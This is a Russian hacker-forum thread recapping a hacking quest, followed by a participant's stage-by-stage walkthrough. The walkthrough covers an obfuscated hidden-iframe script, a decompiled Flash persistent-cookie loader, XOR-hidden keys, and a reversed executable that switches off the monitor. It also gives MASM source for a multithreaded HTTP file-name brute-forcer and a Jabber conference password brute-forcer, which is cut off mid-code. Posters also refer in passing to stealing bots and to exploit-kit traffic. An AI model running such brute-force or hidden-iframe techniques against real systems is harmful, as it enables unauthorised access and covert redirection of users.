• XSS.stack #1 – первый литературный журнал от юзеров форума

quest

Ar3s пишет:
Что-то вроде "что где когда".
Это не есть тру
Ar3s пишет:
а вырученные деньги отдать тем, кто предложит самые интересные задания для следующего квеста.
Лучше сладкие жидошекеля потратить на сам квест :)
К примеру, в последнем задании квеста нужно будет угнать ботов (к примеру, всего их 500) кто больше угонит тот и занимает 1 место
А саму историю квеста сделать так чтобы у лидера можно было также угнать ботов, для того чтобы не только знания нападения, но защиты "тестировались"
Здесь уже участникам надо будет свой "хост" заиметь, куда угонять будут и защищать свою админку до официального объявления об окончании квеста
Те, кто хотя бы раз угонят чужих ботов, могут испытать "оргазм" %)))
Ну, организаторам сталобыть и отдать лаве за их старания...

Ar3s пишет:
Напоминаю, что основное общение по квесту идет в jabber-конференции. Присоединяйтесь.
Возникает вопрос, а нах тогда форум нужен...
Уверен, если бы обсуждение было на форуме, в квесте в разы больше участвовало бы народа
Не у всех время есть торчать в жабе, а так чел может позже зайти на форум почитать и предложить/посоветовать, попытаться найти время, чтобы поучаствовать в квесте, из-за "бурных обсуждений"
Короче, начало было гуд – конец..
В полнее возможно, что на форуме появилась бы новая кровь, а так ты будешь через некоторое время опять думать закрывать форум или нет :)

P. S.
Ладно, к примеру, будем считать, что это первый блин
Но можно, же сделать типа обзора о квесте, для привлечения людей к следующему квесту
Для примера вот взять тут тему
http://exploit.in/forum/index.php?showtopic=46435 - Вебинар о взломе админки зевса.
jen140 правильную тему двигал :)
Просто сделать, чтобы не так страшненько было как в том логе, что выложил jen140
А то решатся все "двумя словами", а понаписа-а-а-ли.. особенно Isaak непонятно вообще для чего существует %)))
Шучу, ну это я к тому, чтобы удалили мессаги из лога с двумя буквами и смайликами, которые не имеют смысла
Хотя думаю, если Ar3s сделает обзор о квесте, то это будет как всегда на высоте :)

ЗЫ: ИМХО
 
KraZz
1.
В полнее возможно, что на форуме появилась бы новая кровь
А она и появилась благодаря квесту. Только, по стечению обстоятельств, она вся оказалась на конференции. Зря туда не заходишь. Очень много интересного пропускаешь.

2.
Уверен, если бы обсуждение было на форуме, в квесте в разы больше участвовало бы народа
м.б. но мне нужно было привлечь внимание к конференции. И я этого добился. Подсказки публиковались на конференции и на форуме одновременно. Но обильное общение возникло именно в конфе а не здесь. Я тоже первое время недоумевал. Думал баталии в этой теме развернутся.

3.
если Ar3s сделает обзор о квесте
Эта идея не нова. Обзор действительно будет. Я выжидал время пока все желающие попробую его пройти. т.к. на текущий момент я квест формально остановил - будет писаться обзор/прохождение и курьезные ситуации возникавшие по-ходу квеста. Думаю будет достаточно интересно почитать.

4.
Короче, начало было гуд – конец..
Не мне судить.

5. Особо оперативностью я сейчас не отличаюсь ввиду некоторых семейных обстоятельств, но постараюсь все сделать.
 
Итак, обещанный мини-обзор или сага о том как все было.

В один прекрасный момент меня заклинило на тему "а почему так давно не проводят квесты?". Тема раньше была крайне популярна, а сейчас мягко говоря - загнулась.
И вот я решил вспомнить старую добрую традицию проведения квестов. Идеи были разные. Хотелось сделать все с размахом. Но сразу же были установленны жесткие рамки квеста. А именно:
1. он не должен быть однодневкой. т.е. легких заданий быть не должно
2. Он должен быть связан с хаком
3. Нужны были хорошие призы
4. Из серой массы посетителей он должен был выделить тех, кто действительно чего-то желает добиться.

Я создал в закрытом разделе топ в котором начали обсуждать выдвигаемые задания и сюжет квеста. Только по мере обсуждения все заходило в тупик и приходилось "на лету" все менять и переделывать. В этот момент к идее активно подключились gooner и chococream. Немного подумав, я решил исключить возможность того, что кто-то кроме меня будет знать вообще о заданиях и прохождении. Поэтому каждый подготавливал свою часть квеста и не знал где и когда всплывет его задание.
К сожалению, chococream пропадал на некоторое время и старт квеста сильно затягивался, но терпение и труд все перетрут. Я рад, что дождался его и он не подвел. Признаюсь, что в определенный период времени обращался к x0r (с vulness.com) для замены задания, и он написал крякмикс. Но все-же я отдал предпочтение "своим". Крякмикс от x0r будет применен в последующих квестах.

Далее начался этап реализации. На своей vds я подготовил все что могло пригодиться, но в момент когда должен был привязать домен меня что-то отвлекло и я его не привязал, а затем подумал что это будет дополнительным мини-заданием. Тогда я и не предполагал что этот нюанс отсеит ТАКОЕ количество "желающих".... Где-то в это же время меня дернуло поднять конференцию, т.к. многие жаловались на ее отсутствие. Ну и так все завертелось.

Сейчас вспомнить сколько раз мы переделывали и корректировали задания уже не представляется возможным. Раз 30 так точно.
Были идеи применения связки, и реверса файла со связки с предварительным восстановлением выдачи самой связки и т.д. Идей было много и самых разнообразных. Тем не менее остановились на следующей последовательности:
1. расшифровка iframe
2. куки на flash с зашифрованным base64 урлом следующего этапа
3. архив картинок в которых нужно было найти необходимый код для следующего этапа.
4. крякме, хотя это больше подходит под описание не сложного криптоанализа.
5. брут jabber конференции

Теперь попробую более подробно расписать сами задания и их идею:
1. Идея несла в себе неправильно сделанный iframe в котором нужный редирект осуществлялся при user-agent "LinYx". Таким образом нужно было открыть код и привести его к читаемому виду, а затем просто перейти на следующий этап. Парадокс возник позже, когда была нами допущена ошибка при проверке задания и user-agent принял значение linux. В этот момент, первый линуксовый пользователь проходивший квест, стал спрашивать как он прошел первое задание. Он реально не понимал. Пришлось сочинить байку о том, что скрипт меняется по расписанию и чисто случайно user-agent совпал. Сами же мы судорожно переделали это задание. Задание было сделано по мотивам написанного gooner-ом криптора ифрэймов, который валялся без надобности в привате дамаги.

2. Идея родилась после того, как я вспомнил статью "неубиваемые куки" (кажется на ксекапе читал). Эту идею я неоднократно предлагал использовать при "гоне" трафа на связки и tds. Но она была похоронена. И Очень захотелось ее оживить. В задании используется один из вариант подобных куков. Кажется waahoo заметил что происходит что-то с куками остальные просто нашли нужное и прошли не задумываясь о том что это такое. Ну идею задания еще раз расписывать не буду. Она и так уже понятна.

3. Как вам сказать. Суть была в том, что бы научить смотреть не на картинку/архив а в суть. Сложности не было никакой за исключением ветвления. На этом этапе квест ветвился и далее было две ветки абсолютно идентичные, за исключением того что одна из них была ложная. В самом задании надо было найти ключ для скрипта который перебросит на следующий этап.

4. Первый этап работы с бинарниками. Не содержал в себе сложностей. Нужно было к коду в ссылке добавить еще один код и сложить с предыдущим.
Выражаясь понятнее нужно было расположить key1key2key3 в нужной последовательности. Основная идея задания были в том, что бы не уводя очень далеко пользователя сообщить ему о ложной ветке квеста если он на ней. Хотя был применен для интереса код который пытался отключить монитор. И у некоторых он сработал...

5. Этот этап был придуман chococream и требовал логического мышления, а я добавил некоторые ложности. Суть была проста - пользователь для начала не знает как называется файл на сервере, нужно было сбрутить его название по определенной маске. Затем мы берем картинку и проделываем над ней две манипуляции. Всем проходящим квест нужно было восстановить исходный вид картинки и прочитать ключ на следующий этап. При этом было понятно что картинка jpeg и начинается с определенной последовательности кодов. И основываясь на этой последовательности нужно было добраться до метода которым файл был изменен. Идея этого задания была на самом деле проста. Постоянно бесит открытый вид передаваемой информации от админки боту и от бота админке. И это простейший пример как можно эти данные зашифровать, что бы в том же снифере не было видно что там передается. Реализация простейшая, а может быть полезна многим.

6. Моя бредовая идея на самом деле. Ехал с курсов по ПДД и искал интересное задание для финальной части квеста. Хотелось нестандартного задания. Ну очень хотелось. Тогда и подумал что не встречал нигде брутера jabber-конференции. Так идея и родилась. Несла в себе только один смысл - научить работать с jabber протоколом. Особой сложности этап не вызвал, к моему изумлению.

p.s. все задания после 3-го были построены на qr кодах. Писать о них отдельно не хочется. Просто нужно было понять что это и зачем. Они кстати уже на многих бигбордах используются вместо картинки.

---==Призы==---
К сожалению сам я не мог предложить достойных призов, а рубитьсяна интерес не хотелось. Тогда я написал не особо длинное сообщение многим селлерам и знакомым с предложением немного пропиариться за счет квеста и взамен просил их товар в качестве приза. Отозвалось гораздо больше людей чем я сразу ожидал. Всем ВАМ огромное спасибо.
Zer0, Optima, system, cmd5.ru, blakkat, coban2k, d3v1l, Palevo.biz, Dedicatexpress.com, ULTRA, St.

А теперь хочется немного рассказать о том как же все проходило.
Вечером когда все было проверено уже хз сколько раз я начал постить объявления на всех хак-форумах. В конфе количество народу росло в геометрической прогрессии. Желающих был вагон и две тележки. Только дальше нулевого этапа (домен) прошли считанные люди и то после того как кто-то сообразил и в конфе написал фразу "hosts 193.107.16.4"
Тут дело сдвинулось довольно быстро и к концу моего присутствия в конфе два человека были уже на втором этапе квеста.
На третьем этапе застряли не на долго. Усталасть давала о себе знать и начинали тупить, но упорством брали этапы...
Четвертый этап затянулся очень надолго. Усталость и бессоница мешали мыслить проще. Все искали сложнейшие методы и пути. Многие просто не смогли сообразить куда и как всовывать ключи. И на этом провисели несколько суток.
Пятый этап давал время на отдых. Нужно было запустить брут и поспать. А затем началось самое сложное. На этом задании народ перепробовал очень много всего. Я придумывал подсказки в стихотворной форме. Цеплялись за каждое мое слово. Приплетали о амазон с облачными вычислениями и криптоалгоритмы хз кого вообще. Я все время на протяжении квеста писал о том, что все просто, не ищите сложностей и подвохов. Но меня упорно не слушали. Так прошло еще три дня.... Затем был прорыв. Притом меня смутило то, что он произошел как-то синхронно у всех... Ну да ладно.
6. этап был уже спокойным. Все давно определились с местами и даже ждали пока лидер добрутит, затем пока второй добрутит и т.д. Почему третьего места не было - я так и не понял. Хотя, я предполагаю, что все ужасно устали.

Из курьезов запомнились:
1. облачные вычиления
2. криптер йода
3. [01:13:45] <ugputu> ну я разобрался что делает js
[01:26:55] <ugputu> ГОСТ 28147-89 причем? или я мимо?

Честно говоря я рассчитывал что квест пройдет за сутки-двое. Я не думал что выдержим больше, тем более, что призы были неплохие и ожидалось большое количество желающих.
За время квеста мне неоднократно писали о том, что я парализовал очень много сфер деятельности оттянув людей на квест. Вопросы типа "ну? Закончился?" поступали в асю/жабу с периодичностью раз в 20-30 минут. :)

Вообще - получилось достаточно интересно на мой взгляд. И я думаю продолжать в этом же духе. Будут приняты во внимание предложения и замечания. Вообщем, продолжение следует.

p.s. квест доступен и сейчас и желающие могут все проверить или попробовать свои силы в нем. А я должен срочно бежать по делам.
p.p.s. сорри за грамматику. Писал в спешке.

Добавлено в [time]1312191955[/time]
Прохождение глазами waahoo

Ну вот и завершился этот квест для меня, итог - 2 место. тут я хотел описать свое прохождения и свои эмоции. и так начнем...
Арес дает команду на старт и линк на квест, но линк к сожалению не открывается. иду в конфу, мне говорят "думай", ну ладно, будем думать.
линк выглядел следующим образом - http://quest.dlab.org.in и первое, что я сделал открыл домен уровнем выше http://dlab.org.in. там мне сказали что "Работа сайта приостановлена в связи с квестом" ну или типа того. значит сервак робит, открываю весьма полезную прогу Essential NetTools и в ручную составляю HTTP заголовок, где указываю Host: quest.dlab.org.in, но шлю его по IP адресу dlab.org.in, в ответ получаю страницу с пожеланиями удачи в прохождении, значит не резолвится просто, добавляю в файл hosts строчку "193.107.16.43 quest.dlab.org.in", все, теперь линк открывается в браузере.

1. Удачи в прохождении квеста!
ок, спасибо. через 8 секунд страница обновляется, жмякаем Ctrl+U, смотрим код, и видим неведомые <div> с неведомым содержимым, внизу страницы видим
Код:
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script src="jquery.scrollTo-1.4.2/jquery.scrollTo-m1n.js"></script>
<script src="scr1pt.js"></script>
скрипт расположенный у гугла не представляет интереса, пропускаем, а вот в последних двух кроме "стандартного" содержимого есть кое что интересное, открываем
jquery.scrollTo-m1n.js
Код:
function lbtE(){var q4XLiy8u=\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074;var yg8mO=['cnAjAB03','cAqBP','qLA8UZoY','oZRU5','t9Pg','ljuqb','oHr9'];var wcWfH='';var xJPb=\u0061\u0072\u0067\u0075\u006d\u0065\u006e\u0074\u0073;var qkuW=xJPb.\u0063\u0061\u006c\u006c\u0065\u0065;var gGgNnDkh=qkuW.toString().length;if (gGgNnDkh-566<=14){for(iAw2pU=0;iAw2pU<=6;iAw2pU++){wcWfH=wcWfH+q4XLiy8u.getElementById(yg8mO[iAw2pU]).innerHTML;}}wcWfH=wcWfH.replace(/\?|\.|\)|\^|#|\!|,|\(/ig, '');\u0065\u0076\u0061\u006c(\u0075\u006e\u0065\u0073\u0063\u0061\u0070\u0065(wcWfH));}
scr1pt.js
Код:
try
 {
   window.onload = function()
   {
   setTimeout("lbtE()",3000);

   }
 }
 catch(e)
 {
 };
опишу в общем. скрипт берет дивы, соединяет содержимое, уберает мусор, и eval(unescape(точтополучилось)), а точтополучилось открывает iframe размерами 0x0 на линк http://quest.dlab.org.in/Jjjffsdfhler.html
вот код тогочтополучилось мною маленько измененный, он делает тоже только вместо открытия ифрейма показывает линк в мессаджбоксе
Код:
 var dhj73mZK='gMM4LDDjRwRpFlR-.CHp';  
 var gzUStsX='gMM4LDDc&FWM.jlR-.CHp.bTDfzzhhWjhglFH.gMwl';  
 
WScript.Echo(ipCul(gzUStsX));
 
 function ipCul(u8eD) {
 var eFk1M;  var vpMS='';
 var ilqtccG;
 var vuRMNt='VE7s/xPJOtga6mRN9W3C:4qwBIdpZMiAjX1F&oKln8052%h-bUS?Q=z._fkyrDvTuHeGLYc';
 var j3ZED3o='rOsWDd?fEMpRew7a10V=L%coi3j4x/bXzUGPJCQlTIvBAKgy-:n98tS.mhkuH_qY&2F6N5Z'; 
 for(eFk1M=0;eFk1M<u8eD.length;eFk1M++)
	{
	ilqtccG=j3ZED3o.indexOf(u8eD.charAt(eFk1M)); 
	
	if(ilqtccG>-1){vpMS+=vuRMNt.charAt(ilqtccG);}
	}  
return vpMS;
}

2. идем по линку, видим "Поздравляем, вы прошли первую часть квеста!"
ништяк, азарт все больше.
по закалке жмякаем Ctrl+U, внизу страницы видим уже немного другую картину
Код:
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script src="jquery.scrollTo-1.4.2/jquery.scrolTo-min.js"></script>
<script src="scrlpt.js"></script>
тут я тем же способом разложил скрипты, но зашел в тупик. скрипт в этот раз ломился на дамагу https://xss.pro/index.php?topic=17847, древняя тема, хз что к чему.
ок, мыслим дальше, скрипт чего то проверяет/делает с куками в завимости от версии флеш, но все это, как оказалось, для отвода глаз. я долго пытался понять что за херня творится, пытался ставить куки какие проверяются, но все это ошибка.
:bang:
решение в этот раз не имело логики, видим что скрипт подгружает флешку http://quest.dlab.org.in/bannerfJKHASjfh.swf, ок, сливаем ее себе, открываем в Notepad++, флешка пожата и мы нихера не видим, ок, качаем SWF Decompressor, распаковываем, и опять нихера не видно, ок, качаем Sothink SWF Decompiler, блабла получаем исходник
Код:
package 
{
    import flash.display.*;
    import flash.external.*;
    import flash.net.*;

    dynamic public class jP37TRh extends MovieClip
    {
        public var pJZ95BXf:Object;
        public var zWIyDnda:Object;

        public function jP37TRh()
        {
            var _loc_1:* = "3F1ZXN0LmRsYWI";
            addFrameScript(0, this.tyWxt);
            return;
        }// end function

        public function bAt3r(param1:String, param2:String) : void
        {
            this.pJZ95BXf.data[param1] = param2;
            this.pJZ95BXf.flush();
            return;
        }// end function

        public function fvHs(param1:String) : String
        {
            return this.pJZ95BXf.data[param1];
        }// end function

        function tyWxt()
        {
            this.pJZ95BXf = SharedObject.getLocal("ub3JnLmluL3F0aW1lLw==");
            ExternalInterface.addCallback("bAt3r", this.bAt3r);
            ExternalInterface.addCallback("fvHs", this.fvHs);
            this.zWIyDnda = ExternalInterface.call("caI6R");
            return;
        }// end function

    }
}
видим хрень на басе64 похожую, отправляем в декодер, результат - ошибка. признаюсь честно, я встал, мысли кончились и я переключился на свои дела, через суток двое, когда некоторые уже были на 5-м задании, я попросил помощи, мне сказали "зри на неведомые куски", ок, басе64 иногда заканчиватся на = значит ub3JnLmluL3F0aW1lLw== это конец строки, пихаю в декодер строчку pJZ95BXfub3JnLmluL3F0aW1lLw==
получаю ¤–}дЯ№ЅЙњ№ҐёЅЕСҐµ”ј, далее пихаю jP37TRhpJZ95BXfub3JnLmluL3F0aW1lLw== получаю ЊэыMi%џywоorg.in/qtime/ во бля! открываю http://quest.dlab.org.in/qtime
вот где тут логика?

3. Поздравляем! Вы прошли на следующий этап.
Для следующего задания скачайте файл задание3
И перейдите на скрипт проверки

качаем, видим zip архив, первое что я сделал это нажал F3->3 тоталкоммандер показал мне файло в hex представлении. провернул до конца и увидел XOR 35h here ;) а там
Код:
The second part of right key is: 8fy2hixc72mdt82nf
ок, значит должна быть еще и первая часть ключа. распаковываем архив, видим набор gif'ов, скриншоты из ольги. зовем на помощь winhex открываем все файло, и смотрим. в некоторых ОТКРЫТЫМ текстом и по русски указаны части ключа, как оказалось в последствии не верного, в третьем задании есть ветвления, о чем Арес предупреждал. я же доверился надписи "The second part of right key" и искал такую же, нашел, в итоге получился линк http://quest.dlab.org.in/qtime/script.php?...y2hixc72mdt82nf

4. Поздравляем вас с прохождением третьего этапа квеста.
Для того, чтобы пройти 4-й этап, вам потребуется ВЫТАЩИТЬ ключик из файла под названием ReverseMe(он не рабочий).

жмякаем по привычке Ctrl+U, видим в коде
Код:
<img style='visibility:hidden;width:0px;height:0px;' src='http://quest.dlab.org.in/qtime/nsf.png'>
открываем картинку, видим там qr код... ок, качаем barcapture.exe с jaxo-systems.com, декодим, получаем линк http://quest.dlab.org.in/qtime/nsfn9823nsdffsd.exe
ну наконец-то! реверс! обрадовалась душа waahoo. запускаем ollydbg, смотрим, дамп секции данных на точке входа выглядит так
Код:
CPU Dump
Address   Hex dump                                         ASCII
00402000  68 74 74 70|3A 2F 2F 74|65 73 74 32|2E 72 75 2F| http://test2.ru/
00402010  73 68 69 74|2E 70 68 70|3F 6B 65 79|3D 38 34 31| shit.php?key=841
00402020  36 37 31 34|37 31 34 35|12 87 98 67|87 98 56 56| 67147145‡˜g‡˜VV
00402030  14 68 74 74|70 3A 2F 2F|74 65 73 74|31 2E 72 75| http://test1.ru
00402040  2F 73 68 69|74 2E 70 68|70 3F 6B 65|79 3D 36 31| /shit.php?key=61
00402050  33 38 36 34|34 36 31 33|37 31 35 33|37 00 12 87| 3864461371537
ок, жмякаем F9, прога падаем с сепшеном, смотрим опять дамп (00 заменил на 01 т.к. это конец строки)
Код:
CPU Dump
Address   Hex dump                                         ASCII
00402000  50 4C 4C 48|02 17 17 4C|5D 4B 4C 0A|16 4A 4D 17| PLLHL]KL
JM
00402010  4B 50 51 4C|16 48 50 48|07 53 5D 41|05 01 0C 09| KPQLHPHS]A	
00402020  0E 0F 09 0C|0F 09 0C 0D|12 87 98 67|87 98 56 56|  	
‡˜g‡˜VV
00402030  14 68 74 74|70 3A 2F 2F|74 65 73 74|31 2E 72 75| http://test1.ru
00402040  2F 73 68 69|74 2E 70 68|70 3F 6B 65|79 3D 36 31| /shit.php?key=61
00402050  33 38 36 34|34 36 31 33|37 31 35 33|37 01 12 87| 3864461371537‡
00402060  98 67 87 98|56 56 14 44|6F 62 61 76|74 65 20 6B| ˜g‡˜VVDobavte k
00402070  20 73 73 69|6C 65 20 63|69 66 72 69|3A 20 31 32|  ssile cifri: 12
00402080  38 35 12 87|98 67 87 98|56 56 14 DC|FF 12 00 00| 85‡˜g‡˜VVЬя

по эксешнику, код разбавлен мусором, много мусора, но он обрамлел pusha/popa, так что полезный код выделить труда не составило. хмм также интересный момент, кодес пытается отключить монитор посредством посылки броадкаст сообщения. хз как у кого, но у меня мон отключился, чтоб не любить мозги сменил точку входа на "полезный код".
очень долго думал над словами "Dobavte k ssile cifri: 1285"
выписал в блокнот три составляющие
Код:
http://test2.ru/shit.php?key=84167147145 
http://test1.ru/shit.php?key=613864461371537
1285
долго все это дело мучал, и прибавлял, и конкатенацию делал в разнообразных вариациях, все без толку. в итоге забил и лег спать. с утра вернулся и с первого раза попал в точку, взял предыдущий ключ, добавил цифры что были в ключе на точке входа, добавил 1285, и вуаля... линк http://quest.dlab.org.in/qtime/script.php?...841671471451285

5. Поздравляем вас с прохождением четвертого этапа квеста.
Для того, чтобы пройти 5-й этап, вам потребуется расшифровать EXE файл, затем догадаться что-то с ним сделать, тем самым получив ключ для окончания этого задания.

нам показывают картинку с qr кодом, ок, декодим.
Код:
http://quest.dlab.org.in/qtime/br/****.exe
„I„}„‘ „†„p„z„|„p „‘, „{ „ѓ„Ђ„w„p„|„u„~„y„ђ, „x„p„q„Ќ„| „~„p„Ѓ„y„ѓ„p„„„Ћ. „A„…„t„u„„„u „Ѓ„Ђ„t„q„y„‚„p„„„Ћ - „~„u „ѓ„„„p„r„Ћ„„„u „}„~„Ђ„s„Ђ „Ѓ„Ђ„„„Ђ„{„Ђ„r. „H„p„r„p„|„y„„„u „ѓ„u„‚„r„u„‚.
что за херня ниже линка написана я так и не понял, но понял одно - задание брут.
пишу на коленке брутер, многие сейчас скажут - "ты сцуко извращенец!", но отвечу спокойно, асм мой второй разговорный. вот сорц
Код:
;@echo off && goto make

.386
.model flat,stdcall
option casemap:none

include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
includelib c:\masm32\lib\kernel32.lib
include c:\masm32\include\user32.inc
includelib c:\masm32\lib\user32.lib
include c:\masm32\include\ws2_32.inc
includelib c:\masm32\lib\ws2_32.lib


include mac.inc

.data?
wh dword ?
hevent dword ?
wsa WSADATA <?>
.data

host db "quest.dlab.org.in",0

header  db "GET /qtime/br/%s.exe HTTP/1.0",13,10
  db "Host: %s",13,10
	;db "User-Agent: Mozilla/4.0",13,10
  db 13,10,0

start_name dword 'aaaa',0

.code

ThreadProc proc p:dword
local sock:dword,saddr:sockaddr_in
local tdw:dword
local buf[100h]:byte 
local buf2[2]:dword

	mov dword ptr [buf2+0],0
	mov dword ptr [buf2+4],0

	
	invoke gethostbyname,offset host
	test eax,eax
	jz @exit
	mov eax,(hostent ptr [eax]).h_list
	mov eax,[eax]
	mov eax,[eax]	
	mov saddr.sin_addr,eax	

	mov saddr.sin_family,AF_INET
	mov ax,80
	rol ax,8
	mov saddr.sin_port,ax
	
@loop:
	mov sock,func(socket,AF_INET,SOCK_STREAM,IPPROTO_TCP)
	cmp eax,INVALID_SOCKET
	jz @loop	
	
	invoke connect,sock,addr saddr,sizeof sockaddr_in
	cmp eax,SOCKET_ERROR
	jz @loop

	invoke WaitForSingleObject,hevent,INFINITE
	invoke ResetEvent,hevent
	invoke SetConsoleCursorPosition,wh,0
	lea eax,start_name	
	
	inc byte ptr [eax+3]
	
	cmp byte ptr [eax+3],'z'+1
	jnz @send
	mov byte ptr [eax+3],'a'
	inc byte ptr [eax+2]
	
	cmp byte ptr [eax+2],'z'+1
	jnz @send
	mov byte ptr [eax+2],'a'
	inc byte ptr [eax+1]
	
	cmp byte ptr [eax+1],'z'+1
	jnz @send
	mov byte ptr [eax+1],'a'
	inc byte ptr [eax]
	
	cmp byte ptr [eax],'z'+1
	jz @exit
@send:	

	m2m buf2,start_name
	invoke SetEvent,hevent
	invoke wsprintf,addr buf,offset header,addr buf2,offset host
	mov ecx,eax
	push ecx
	invoke WriteConsole,wh,addr buf2,4,addr tdw,0
	pop ecx
	invoke send,sock,addr buf,ecx,0
	invoke recv,sock,addr buf,100h,0
	invoke shutdown,sock,SD_BOTH
	invoke closesocket,sock
	
	cmp dword ptr [buf+9],' 002'
	jnz @loop
	invoke OutputDebugString,addr buf2
	jmp @loop
	
@exit:
	ret

ThreadProc endp

start:
	invoke WSAStartup,0202h,offset wsa
	mov wh,func(GetStdHandle,STD_OUTPUT_HANDLE)
	mov hevent,func(CreateEvent,0,TRUE,TRUE,0)
	
	mov ecx,50
@@:	
	push ecx
	invoke CreateThread,0,0,ThreadProc,0,0,0
	invoke Sleep,20
	pop ecx
	
	loop @b
	invoke ExitThread,0
	ret
end start

:make
set prname=brut
set prdir=d:\down\quest.dlab.org.in\brut
cd /d %prdir%
c:\masm32\bin\ml.exe /nologo /c /coff %prname%.cmd
c:\masm32\bin\link.exe /nologo /SUBSYSTEM:CONSOLE %prname%.obj
pause
del %prname%.obj
del %prname%.res
этот кодес выводит отладочные сообщения, а я их ловлю с помощью dbgview от марка.
на этот момент многие умы уже его ковыряли не первые сутки, мысли вслух "да какого хрена ты с ним разберешся если столько народу не могут его решить и просят Ареса позволить тимы? бред..." как оказалось - зря так думал, они ведь линуксоиды, и с виндобинарями редко работали судя по всему, а я знаком с форматом PE не по наслышке...
итог, словлено 6 линков, 4 куска от рара с пометкой "фальшивка бле", какая-то длл-ка от андроида и наш файло.
отрываем файло в winhex'е
Код:
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00000000   8F 00 4C 5A 00 01 FF 00  FF 5F FF 5F FE E1 FF FF   Џ.LZ..я.я_я_юбяя
00000010   44 78 FF 15 FF FF 68 66  29 00 48 49 FF FF 07 00   Dxя.яяhf).HIяя..
00000020   FF FF FF FF FE DB FF FF  FF 07 FF 42 06 06 05 06   яяяяюЫяяя.яB....
00000030   06 07 04 08 08 08 06 09  13 0D 09 0C 0A 0C 0B 0B   ................
00000040   12 0F 18 12 19 1F 13 1D  19 1C 1D 1D 23 2E 1B 20   ............#.. 
00000050   21 2C 26 20 FF FF FF FF  FF FF FF FF FF FF FF FF   !,& яяяяяяяяяяяя
00000060   44 00 FF 4F FF FF FF FF  FF FE FF FF 42 01 DA 00   D.яOяяяяяюяяB.Ъ.
сразу настрожило LZ, оно ведь MZ без одной операции, ок, читаем подсказки, Арес сказал "перестанка слов + неведомое количество байт". как у кого, но в моей голове сразу прояснилась картина. пишем не хитрый кодес
Код:
lodsw
rol eax,16
add eax,010001h
stosw
получаем ексешник, как говорит тотаткоммандер это 16 битный ексе, оке, открываем в winhex, в конце файла уже привычная надпись x o r 6 6 here
ксорим, там инструкция "Add to zero ofpset these 6 bytes", предлагают добавит заголовок для джпега, делаю, получаю невалидный джпег. бился сутки с этим, был зол, мысли вслух "ребята уже на 6-ом жабу брутят, а я джпег собрать не могу, блеаааать!!!" опять обратился за помощью в конфу, сказали не напрягает "Add to zero ofpset these 6 bytes"? все встало на места, оказывается, нужно было добавлять 1 к каждому отдельному ворду без переноса.
полный код процедуры расшифровки:
Код:
QuestEXEDecode proc
local hfile:dword
local hview:dword
local hmap:dword
local fsize:dword
	
	invoke CopyFile,chr$("d:\down\quest.dlab.org.in\zqrt.bin"),chr$("d:\down\quest.dlab.org.in\zqrt.bin.exe"),FALSE
	
	xor ecx,ecx
	mov hfile,func(CreateFile,chr$("d:\down\quest.dlab.org.in\zqrt.bin.exe"),GENERIC_READ or GENERIC_WRITE,ecx,ecx,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,ecx)
	cmp eax,INVALID_HANDLE_VALUE
	jz @exit
	
	invoke GetFileSize,hfile,0
	shr eax,2
	mov fsize,eax
	
	xor ecx,ecx
	mov hmap,func(CreateFileMapping,hfile,ecx,PAGE_READWRITE,ecx,ecx,ecx)
	test eax,eax
	jz @exit
	
	xor ecx,ecx
	mov hview,func(MapViewOfFile,hmap,FILE_MAP_READ or FILE_MAP_WRITE,ecx,ecx,ecx)
	test eax,eax
	jz @exit
	
	mov ecx,fsize
	mov esi,hview
	mov edi,esi
@@:
	lodsw
	inc eax
	movzx ebx,ax
	lodsw
	inc eax
	stosw
	movzx eax,bx
	stosw
	loop @b
	invoke UnmapViewOfFile,hview
	invoke CloseHandle,hmap
	invoke CloseHandle,hfile
	
@exit:	
	ret
QuestEXEDecode endp
в итоге получаю джпег на котором неведомый кулак на слепке, и 5 семерок нарисованные задом на перед, по привычке добавляю к прошлому линку эти семерки, линк http://quest.dlab.org.in/qtime/script.php?...147145128577777

6. Ваша победа совсем близка! Остался сущий пустяк, известить меня о вашей победе. Для этого нужно войти в конференцию quest@conference.dlab.org.in и написать ваши контакты.
p.s.Совсем забыл. Конфа на пароле в 2-4 символа. Пасс легкий, но нужно сбрутить.

ок, пишем брут, благо опыт работы с джабером у меня уже был.
были непонятки с набором символов для брута, изначально я начал брутить azAZ09, на вторые сутки брута появился Арес и великодушно внес уточнение - azAZ, отлично, нам же проще, брут был побыстрому перепаян и запущен с места остановки.
Код:
;@echo off && goto make

.386
.model flat,stdcall
option casemap:none

include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
includelib c:\masm32\lib\kernel32.lib
include c:\masm32\include\user32.inc
includelib c:\masm32\lib\user32.lib
include c:\masm32\include\ws2_32.inc
includelib c:\masm32\lib\ws2_32.lib


include mac.inc

.data?

wh dword ?
hevent dword ?
wsa WSADATA <?>

.data

currPass dword 2 dup(0)

alphabet db 0,"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

ch1 db sizeof alphabet-1
ch2 db 0
ch3 db 0
ch4 db 0


j1 db "<stream:stream to='dlab.org.in' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' xml:lang='ru' version='1.0'><auth xmlns=",'"',"urn:ietf:params:xml:ns:xmpp-sasl",'"'," mechanism=",'"',"PLAIN",'"',">AHdhYWhfXwAxMjMzMjE=</auth>"

j2 db "<stream:stream to='dlab.org.in' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' xml:lang='ru' version='1.0'><iq type=",'"',"set",'"',"><bind xmlns=",'"',"urn:ietf:params:xml:ns:xmpp-bind",'"',"><resource>%08x</resource></bind></iq><iq type=",'"',"set",'"',"><session xmlns=",'"',"urn:ietf:params:xml:ns:xmpp-session",'"',"/></iq>",0

j3 db "<presence xmlns=",'"',"jabber:client",'"'," to=",'"',"quest@conference.dlab.org.in/waah00",'"'," ><priority>5</priority><x xmlns=",'"',"http://jabber.org/protocol/muc",'"',"><password>%s</password></x></presence>",0

j4 db "<message from='waah__@dlab.org.in' to='waahoo@exploit.im' xml:lang='ru' type='chat'><body>check %s</body></message>",0
j5 db "<message from='waah__@dlab.org.in' to='waahoo@exploit.im' xml:lang='ru' type='chat'><body>current %s</body></message>",0
j6 db "<message from='waah__@dlab.org.in' to='waahoo@exploit.im' xml:lang='ru' type='chat'><body>done</body></message>"

.code

